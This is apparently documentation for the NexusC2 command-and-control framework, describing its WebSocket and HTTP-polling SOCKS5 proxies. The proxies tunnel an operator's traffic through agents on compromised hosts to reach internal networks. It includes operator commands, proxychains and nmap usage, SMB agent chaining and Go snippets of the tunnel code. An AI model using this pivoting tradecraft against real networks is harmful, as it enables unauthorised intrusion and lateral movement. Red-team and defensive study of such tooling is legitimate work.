SOCKS Proxy

Create SOCKS5 proxy tunnels through agents for network pivoting.

Overview

NexusC2 provides two SOCKS5 proxy implementations for routing traffic through deployed agents:

CommandTransportLatencyLinked Agent SupportUse Case
socks-wsWebSocketLow (real-time)NoDirect agents, interactive sessions
socks-httpHTTP PollingHigher (polling-based)YesLinked agents, SMB/TCP chains

Both implementations enable operators to route traffic through compromised hosts, accessing internal network resources that aren’t directly reachable from the C2 server.

Platforms: All (Windows, Linux, macOS)


Choosing Between socks-ws and socks-http

socks-ws (WebSocket-based)

Pros:

  • Real-time, low-latency data transfer
  • Dedicated WebSocket connection for optimal throughput
  • Better for interactive sessions (SSH, RDP, browsing)
  • Full SOCKS5 protocol support

Cons:

  • Requires agent to make outbound WebSocket connection
  • Does NOT work through linked agents (SMB/TCP)
  • Only works with direct HTTPS agents

Best for: Direct agents when you need responsive, interactive tunneling.

socks-http (HTTP Polling-based)

Pros:

  • Works through linked agent chains (SMB, TCP)
  • No additional outbound connections from agent
  • Uses existing C2 HTTP polling channel
  • Supports UDP ASSOCIATE for DNS tunneling

Cons:

  • Higher latency (depends on agent sleep interval)
  • Best used with lower sleep values (e.g., sleep 5)
  • Not ideal for real-time interactive sessions

Best for: Linked agents, pivoting through internal networks, or when WebSocket connections aren’t possible.


socks-ws (WebSocket SOCKS)

Architecture

flowchart LR
    subgraph Operator["Operator Workstation"]
        TOOL[Operator Tool<br/>nmap, curl, etc.]
    end

    subgraph Server["NexusC2 Server"]
        direction TB
        SOCKS[SOCKS5 Listener<br/>0.0.0.0:PORT]
        SSH_SRV[SSH Server]
        SOCKS --> SSH_SRV
    end

    subgraph Agent["Compromised Host"]
        direction TB
        WSS[WSS Connection]
        SSH_CLI[SSH Client]
        WSS --> SSH_CLI
    end

    subgraph Target["Internal Network"]
        RES[Target Resource<br/>internal host:port]
    end

    TOOL -->|SOCKS5| SOCKS
    SSH_SRV <-->|SSH-over-WSS| WSS
    SSH_CLI -->|TCP| RES

Key Features:

  • SSH-over-WebSocket tunnel for reliability
  • SOCKS5 protocol compliance
  • Two-layer authentication (SOCKS5 + SSH)
  • Connection pooling and limits
  • Stale connection cleanup
  • Dynamic keepalive based on agent callback rate

Communication Flow

Connection Establishment

1. Operator starts SOCKS proxy on agent
   → Server creates SOCKS5 listener + SSH server
   → Server generates credentials

2. Agent receives socks-ws command
   → Agent connects via WebSocket (wss://server:port/path)
   → Agent performs SSH handshake as client
   → Tunnel is established

3. Operator configures proxy (e.g., proxychains)
   → Tool connects to SOCKS5 listener
   → Server authenticates SOCKS connection

Data Forwarding

1. Tool sends SOCKS5 CONNECT request
   → Server parses target host:port
   → Server opens SSH channel to agent

2. Agent receives channel open request
   → Agent connects to target via TCP
   → Agent accepts SSH channel

3. Bidirectional data flow
   ← Tool → Server → SSH Channel → Agent → Target →

Usage

Start Proxy

socks-ws start 1080 https://domain.com/some/path 443

Use with proxychains

# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080

# Run commands through proxy
proxychains nmap -sT 192.168.1.0/24
proxychains curl http://internal-server/

Stop Proxy

socks-ws stop 1080

Configuration

ParameterServer DefaultAgent Default
SOCKS PortUser-specifiedN/A
WebSocket Port31313131
Max ConnectionsN/A50
Idle Timeout10 minutes5 minutes
Buffer Size32 KB32 KB
KeepaliveN/ADynamic (10s-2min)
Stale CleanupN/A30 seconds

Limitations

LimitationDescription
UDPUDP ASSOCIATE not supported (use socks-http for UDP)
ConcurrentMax 50 concurrent tunnels per agent
Linked AgentsDoes NOT work through SMB/TCP linked agents
AuthenticationNo SOCKS5 user auth (SSH handles auth)

socks-http (HTTP Polling SOCKS)

Architecture

flowchart LR
    subgraph Operator["Operator Workstation"]
        TOOL[Operator Tool<br/>nmap, curl, etc.]
    end

    subgraph Server["NexusC2 Server"]
        direction TB
        SOCKS[SOCKS5 Listener<br/>0.0.0.0:PORT]
        QUEUE[Command Queue]
        SOCKS --> QUEUE
    end

    subgraph Agent["Direct/Linked Agent"]
        direction TB
        POLL[HTTP Polling]
        HANDLER[SOCKS Handler]
        POLL --> HANDLER
    end

    subgraph Target["Internal Network"]
        RES[Target Resource<br/>internal host:port]
    end

    TOOL -->|SOCKS5| SOCKS
    QUEUE <-->|HTTP POST/GET| POLL
    HANDLER -->|TCP/UDP| RES

Key Features:

  • Uses existing HTTP polling channel
  • Works through linked agent chains (SMB, TCP)
  • Full SOCKS5 support including UDP ASSOCIATE
  • Session-based connection management
  • Automatic cleanup of stale sessions

Communication Flow

Session Management

1. Operator starts socks-http on agent
   → Server creates SOCKS5 listener
   → Listener ready for incoming connections

2. Tool connects to SOCKS5 listener
   → Server creates session with unique ID
   → Server queues "connect" command to agent

3. Agent polls and receives command
   → Agent connects to target
   → Agent sends response via POST

4. Server receives response
   → Server signals success to SOCKS5 client
   → Bidirectional relay begins via polling

TCP CONNECT Flow

Server → Agent (queued command):
{
  "action": "connect",
  "session_id": "abc123",
  "destination": "192.168.1.100:80"
}

Agent → Server (POST response):
{
  "session_id": "abc123",
  "status": "connected"
}

Data transfer via "data" actions...

Cleanup via "close" action when done

UDP ASSOCIATE Flow (for DNS, etc.)

Server → Agent (queued command):
{
  "action": "udp_associate",
  "session_id": "def456"
}

Agent → Server (POST response):
{
  "session_id": "def456",
  "status": "udp_ready"
}

UDP data packets via "udp_data" actions...

Usage

Start Proxy

socks-http start 1080

Optimize for Latency

For better responsiveness, reduce the agent sleep interval:

sleep 5          # 5 second check-in for responsive proxying
socks-http start 1080

Use with proxychains

# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080

# Run commands through proxy
proxychains nmap -sT 192.168.1.0/24
proxychains curl http://internal-server/

# DNS through SOCKS (UDP ASSOCIATE)
proxychains dig @8.8.8.8 example.com

Use with Linked Agents

socks-http is the only SOCKS option that works through linked agents:

# On your edge agent, link to internal agent
link smb 192.168.1.50 spoolss

# Switch to the linked agent
# Start SOCKS proxy on the linked agent
socks-http start 1080

# Traffic now routes through:
# Tool → Server → Edge Agent → SMB Link → Internal Agent → Target

Stop Proxy

socks-http stop 1080

Configuration

ParameterDefaultDescription
Session Timeout5 minutesInactive session cleanup
Max SessionsUnlimitedNo hard limit on concurrent sessions
Buffer Size64 KBData chunk size for transfer
Cleanup Interval60 secondsHow often stale sessions are cleaned

Supported SOCKS5 Commands

CommandSupportDescription
CONNECT (0x01)FullTCP connection to target
BIND (0x02)NoNot implemented
UDP ASSOCIATE (0x03)FullUDP relay for DNS, etc.

Limitations

LimitationDescription
LatencyHigher than socks-ws due to polling
ThroughputLimited by polling frequency
InteractiveNot ideal for SSH/RDP (use socks-ws)

Server-Side Components

socks-ws Components

ComponentFile Path
Server SOCKSserver/internal/agent/socks/socks_server.go
Server Bridgeserver/internal/agent/socks/socks_bridge.go
Server Handlerserver/internal/agent/handlers/socks_handler.go
WebSocket Handlerserver/internal/websocket/handlers/socks.go

socks-http Components

ComponentFile Path
Serverserver/internal/agent/socks_http/server.go
WebSocket Handlerserver/internal/websocket/handlers/socks_http.go

Agent Components

Platformsocks-wssocks-http
Linuxpayloads/Linux/action_socks.gopayloads/Linux/action_socks_http.go
Windowspayloads/Windows/action_socks.gopayloads/Windows/action_socks_http.go
macOSpayloads/Darwin/action_socks.gopayloads/Darwin/action_socks_http.go
TCP LinkN/Apayloads/TCP_*/action_socks_http.go
SMB LinkN/Apayloads/SMB_Windows/action_socks_http.go

Technical Details (socks-ws)

SOCKS5 Listener

The server runs a standard SOCKS5 server:

type Server struct {
    socksPort     int
    socksListener net.Listener
    sshConfig     *ssh.ServerConfig
    sshConn       *ssh.ServerConn
    sshChannels   <-chan ssh.NewChannel
    forwardChan   chan *ForwardRequest
}

SSH Server

The server hosts an SSH server for the agent to connect to:

config := &ssh.ServerConfig{
    PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {
        if c.User() == creds.Username && string(pass) == creds.Password {
            return nil, nil
        }
        return nil, fmt.Errorf("invalid credentials")
    },
}

// Generate ephemeral host key
hostKey, _ := generateHostKey()
config.AddHostKey(hostKey)

Agent WebSocket Connection

The agent connects to the server via secure WebSocket:

dialer := websocket.Dialer{
    TLSClientConfig: &tls.Config{
        InsecureSkipVerify: true,
    },
    HandshakeTimeout:  10 * time.Second,
    EnableCompression: false,
}

wsURL := fmt.Sprintf("wss://%s:%d%s", host, port, path)
wsConn, _, _ := dialer.Dial(wsURL, nil)

Dynamic Keepalive

Keepalive adapts to agent callback rate:

func (c *SocksCommand) calculateKeepaliveInterval() time.Duration {
    // Parse current sleep and jitter
    sleepSeconds := 60
    jitterPercent := 10.0

    // Calculate average callback interval
    avgCallbackInterval := float64(sleepSeconds) * (1.0 + jitterPercent/200.0)

    // Set keepalive to half the callback interval
    keepaliveInterval := time.Duration(avgCallbackInterval/2.0) * time.Second

    // Enforce bounds (10s - 2min)
    if keepaliveInterval < 10*time.Second {
        return 10 * time.Second
    }
    if keepaliveInterval > 120*time.Second {
        return 120 * time.Second
    }
    return keepaliveInterval
}

Quick Reference

Start SOCKS Proxy

MethodCommandRequirements
WebSocketsocks-ws start 1080 https://host/path 443Direct agent, WebSocket capable
HTTPsocks-http start 1080Any agent (direct or linked)

Stop SOCKS Proxy

MethodCommand
WebSocketsocks-ws stop 1080
HTTPsocks-http stop 1080
ScenarioRecommendation
Direct agent, need speedsocks-ws
Linked agent chainsocks-http
DNS tunneling neededsocks-http (UDP support)
Interactive session (SSH)socks-ws
Slow network scanningEither (socks-http with lower sleep)
to navigate to select ESC to close
Powered by Pagefind